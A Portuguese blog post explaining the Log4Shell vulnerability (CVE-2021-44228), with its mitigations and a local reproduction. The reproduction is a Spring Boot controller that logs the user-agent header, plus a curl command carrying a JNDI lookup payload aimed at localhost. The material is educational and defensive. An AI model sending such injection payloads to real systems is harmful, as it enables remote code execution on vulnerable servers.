Log4Shell: vulnerabilidade pacote Log4J2 — CVE-2021–44228.
No dia 09 de dezembro de 2021 foi descoberta uma nova vulnerabilidade (0 day exploit), de execução de código remota (RCE), em uma das mais famosas bibliotecas utilizadas para gravação de logs no java, o Log4.
CVE-2021–44228
A vulnerabilidade está classificada com uma nota 10 de 10, sendo a complexidade do ataque baixa de ser explorada.
https://www.oracle.com/security-alerts/alert-cve-2021-44228.html
Spring Boot
As aplicações que utilizam Spring Boot serão afetadas somente se o sistema default de logs for alterado para utilização do Log4j2. Os jars log4j-to-slf4j e log4j-api presentes por padrão no pacote spring-boot-starter-logging não podem ser explorados. Apenas aplicações que utilizam log4j-core.
JDKs não afetados
As versões de JDK maiores que 6u211, 7u201, 8u191 e 11.0.1 não foram afetadas. Por padrão com.sun.jndi.ldap.object.trustURLCodebase é setado como false impedindo que o JDNI carregue código remoto utilizando LDAP.
Mitigação
- Opção 1: Atualizar a versão do pacote para a 2.16.0 através do Maven Central ou diretamente pelo site da Apache.
- Opção 2: Setar a flag para nao realizar o lookup desta maneira:
java -Dlog4j2.formatMsgNoLookups=true
- Opção 3: Possibilidade de aplicar um patch enquanto o servidor está rodando através do Log4JHotPatch, até que a versão seja atualizada na aplicação.
Reprodução
Para simular a vulnerabilidade, iremos criar uma aplicação utilizando o JDK 8u161 baixado pelo endereço javase8-archive-downloads.
pom.xml
Vamos criar uma aplicação Springboot 2.6.1 e desabilitar o sistema padrão de logs fazendo a modificação no arquivo pom.xml.
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
Em seguida adicionamos a dependência do log4j2.
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
<version>2.6.1</version>
</dependency>
MainController.java
Criamos uma instância Logger que utiliza a dependência adicionada do log4J2.
Em seguida, utilizando GetMapping na raíz, vamos recuperar o user-agent preenchido pelo usuário através do RequestHeader("user-agent").
E iremos gerar um log.error() passando o user-agent recuperado do header.
package com.log4shell.log4shellpoc;import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RestController;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;@RestController
public class MainController {private static final Logger logger = LogManager.getLogger("Log4Shell");
@GetMapping("/")
public String index(@RequestHeader("user-agent") String userAgent) {
logger.error("Logging user-agent: {}", userAgent);
return "OK";
}
}
Execução
Via terminal usando curl ou alguma outra ferramenta de sua preferência, vamos injetar no header do user-agent a string contendo o código a ser executado no momento de gerar o log ${jndi:ldap://127.0.0.1:1099/}
curl localhost:8080 -H 'user-agent: ${jndi:ldap://127.0.0.1:1099/}'
Console
O resultado esperado será uma exception
javax.naming.CommunicationException: 127.0.0.1:1099 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]
Softwares relacionados
Lista de softwares que utilizam a bibiloteca log4J2 e o status de cada item com a solução tomada em relação à vulnerabilidade.
Código fonte
A aplicação utilizada acima pode ser encontrada no github.
Referências:
https://www.oracle.com/security-alerts/alert-cve-2021-44228.html
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/
https://logging.apache.org/log4j/2.x/security.html
https://www.cnblogs.com/yyhuni/p/15088134.html
https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot
Obrigado pela leitura.